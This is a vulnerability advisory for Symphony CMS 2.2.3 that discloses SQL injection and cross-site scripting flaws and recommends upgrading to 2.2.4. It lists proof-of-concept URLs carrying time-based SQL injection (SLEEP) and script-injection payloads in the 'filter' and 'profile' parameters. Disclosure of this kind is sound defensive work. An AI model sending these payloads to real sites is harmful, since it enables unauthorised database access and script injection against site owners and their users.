XSS and SQL Injection Vulnerabilities on Symphony CMS 2.2.3

Information

Name : XSS and SQL Injection Vulnerabilities on Symphony CMS
Software : Symphony CMS 2.2.3 and possibly below
Vendor Homepage : http://symphony-cms.com
Vulnerability Type : Cross-Site Scripting and SQL Injection
Severity : Critical
Researcher : Mesut Timur <mesut [at] mavitunasecurity [dot] com>
Advisory Reference : NS-11-008

Description

Symphony is a web-based content management system (CMS) that enables
users to create and manage websites and web applications of all shapes
and sizes—from the simplest of blogs to bustling news sites and
feature-packed social networks.

Details

Symphony is affected by several XSS and SQL Injection vulnerabilities.
Example PoC urls are as follows :

http://example.com/symphony/publish/comments/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'
http://example.com/symphony/publish/images/?filter='+(SELECT+1+FROM+(SELECT+SLEEP(25))A)+'
http://example.com/?profile='"--></style></script><script>alert(1)</script>
http://example.com/symphony/publish/comments/?filter='"--></style></script><script>alert(1)</script>
http://example.com/symphony/publish/images/?filter='"--></style></script><script>alert(1)</script>
http://example.com/about/?profile='"--></style></script><script>alert(1)</script>
http://example.com/drafts/?profile='"--></style></script><script>alert(1)</script>

You can read the full article about Cross-Site Scripting and SQL
Injection vulnerabilities from here :

http://www.mavitunasecurity.com/crosssite-scripting-xss/
http://www.mavitunasecurity.com/sql-injection/

Solution

Upgrade to the latest Symphony version (2.2.4).

Credits

It has been discovered on testing of Netsparker, Web Application
Security Scanner - http://www.mavitunasecurity.com/netsparker/.

References

1. Vendor URL: http://symphony-cms.com/download/releases/version/2.2.4/
2. Netsparker Advisories :
   http://www.mavitunasecurity.com/netsparker-advisories/
3. MSL Advisory :
   http://www.mavitunasecurity.com/xss-and-sql-injection-vulnerabilities-in-symphony-cms/

About Netsparker

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